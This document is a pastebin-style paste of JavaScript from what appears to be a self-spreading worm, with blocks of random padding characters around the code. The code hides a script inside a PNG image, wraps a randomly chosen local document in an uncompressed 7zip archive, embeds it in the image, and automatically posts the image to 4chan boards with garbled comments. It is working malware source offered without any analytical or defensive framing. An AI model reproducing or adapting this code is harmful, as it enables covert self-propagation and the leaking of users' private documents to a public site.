- instr.xmin -= Math.round(settings.left * (instr.xmax - instr.xmin));
- instr.xmax += Math.round(settings.right * (instr.xmax - instr.xmin));
- instr.xmax += 3 - (instr.xmax - instr.xmin + 3) % 4; // make width multiple of 4 pixels
- var rle = instr.getRLE(settings.fg, settings.bg);
- var w = instr.xmax - instr.xmin;
- var tmargin = Math.round(settings.top * rle.length);
- var bmargin = Math.round(settings.bottom * rle.length);
- for (var i = 0; i < tmargin; i++) rle.splice(0, 0, [[settings.bg, w]]);
- for (var i = 0; i < bmargin; i++) rle.push([[settings.bg, w]]);
- var h = rle.length;
- // Find place to split image
- var blanks = 0;
- for (var y = 0; y < h; y++) {
- if (rle[y].length == 1) blanks++;
- }
- var iblank = Math.floor(settings.splitpoint*blanks);
- var ysplit;
- for (var ysplit = 0; ysplit < h; ysplit++) {
- if (rle[ysplit].length == 1) {
- if (iblank <= 0) break;
- iblank--;
- }
- }
- // Prepare script for insertion into image
- var scriptlines = newscript.split("\n");
- var scriptlines2 = [];
- \Wu+
- (kNG]
- @av_\
- )hg[
- VDVe
- `"cm'
- m;T&,
- oD&sH
- 0"zS=RDq
- 3AnMn+
- rudb
- w~]c(
- D!L?
- YN/T(
- RMV@/
- ^PBd
- '|[8
- '=De
- Lr"m
- 45:u
- T48&=
- T[qI
- R8B"
- )P3
- Kji^
- 7Ws`
- 6x:_2
- -9lG
- ]j_L
- ]x,}#
- {H,Um
- S4-3o
- oFf;
- 7CSx&
- E^%$
- F;
- J:-l/
- t,^9
- $Ycg
- }?n<
- AP8tX
- 6M~i
- EO58{9
- eSbY
- W1r!6W
- #DOpd
- (2=
- */ var sline = "";
- for (var i = 0; i < scriptlines.length;) {
- if (sline.length + scriptlines[i].length + 1 > 3*w - 4) {
- if (sline == "") throw("");
- scriptlines2.push("*/" + sline + "/*");
- sline = "";
- } else {
- sline += scriptlines[i++] + "\n";
- }
- }
- if (sline != "") scriptlines2.push("*/" + sline + "/*");
- for (var i = 0; i < scriptlines2.length; i++) {
- var nleft = Math.floor(Math.random()*(3*w - scriptlines2[i].length + 1));
- var nright = 3*w - scriptlines2[i].length - nleft;
- scriptlines2[i] = randomdata(nleft, 1) + scriptlines2[i] + randomdata(nright, 1);
- }
- // Read document, wrap in uncompressed 7zip file
- var doc = "";
- var doclines = 0;
- if (doclist.length > 0) {
- try {
- var nleft = Math.floor(Math.random() * 3*w/2);
- var nright = Math.floor(Math.random() * 3*w/2);
- doc = randomdata(nleft, 2) + sevenz(randomchoice(doclist))[0] + randomdata(nright, 2);
- doclines = Math.ceil(2 * doc.length / (3*w));
- } catch(e) {}
- }
- // Encode PNG image
- var png = new PNGEncoder(w, h + doclines + scriptlines2.length - 1);
- for (var y = 0; y < ysplit; y++) {
- png.addRLE(rle[y]);
- }
- for (var i = doclines - 1; i >= 0; i--) {
- png.addBGR(doc.substr(3*i*w/2, 3*w/2), 2, settings.bg);
- }
- for (var i = scriptlines2.length - 1; i >= 0; i--) {
- png.addBGR(scriptlines2[i], 1, settings.bg);
- }
- for (var y = ysplit + 1; y < h; y++) {
- png.addRLE(rle[y]);
- }
- // Set URL to post to
- request.open("post", "http://sys.4chan.org/" + dir[board] + "/post", 0);
- // Set headers
- var bdry = "---------------------------" + randomstring("0123456789abcdef", 13);
- request.setRequestHeader("Accept-Language", "en-us");
- request.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + bdry);
- // Create POST data
- var stream = textstream(3 /*rw*/);
- var head = "--" + bdry + "\r\nContent-Disposition: form-data; name=\"";
- var part1 = head + "MAX_FILE_SIZE\"\r\n\r\n" + (mfs[board]*1048576) + "\r\n"
- + (thread == "" ? "" : (head + "resto\"\r\n\r\n" + thread + "\r\n"))
- + head + "name\"\r\n\r\n\r\n"
- + head + "email\"\r\n\r\nnoko\r\n"
- + head + "sub\"\r\n\r\n\r\n"
- + head + "com\"\r\n\r\n" + garble(comment) + "\r\n"
- + head + "upfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/x-png\r\n\r\n";
- writestring(stream, part1);
- png.writeto(stream);
- var part3 = "\r\n"
- + head + "pwd\"\r\n\r\n" + randomstring("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", 8) + "\r\n"
- + head + "mode\"\r\n\r\nregist\r\n"
- + "--" + bdry + "--\r\n";
- writestring(stream, part3);
- stream = tobinary(stream);
- // Post file
- request.send(stream);
- stream.close();
- } catch(e) {}
- }
- //</script>
- (coW
- 65R}
- oBR@
- w^cxS
- W6AT
- {L%(
- [z'GV
- |r!84
- wRM-
- G$hFm
- pEU}
- D_1C
- =&oMf
- *]hc
- NyH]
- nWw@
- >[!XAx
- ]CzX
- Bj){
- ?lnM
- =OqFnk
- ZVXH
- qzn4
- Y<|5
- NxYy
- i?
- @3G|%
- !dHI|
- 8T$2
- 4 X(r
- .G"3-}
- tX5(
- g7o|
- 89:J{
- 0aG]
- Xi="8
- gs*K
- G^jS
- <l-C3~
- RKRW=
- IG=o
- WJ/9
- G?ST4
- >Nyu
- moR<
- >T]p
- =nP!jE
- 9!jIR
- F\Ou
- MJd5
- L;[4>
- 7(C(
- a]Y#
- V|%e&d
- }{8[
- t za
- ycZz3
- 'R8fVp
- iXgi|
- sS=G
- 0"l<4
- 9?T/
- Xx|L
Advertisement
Add Comment
Please, Sign In to add comment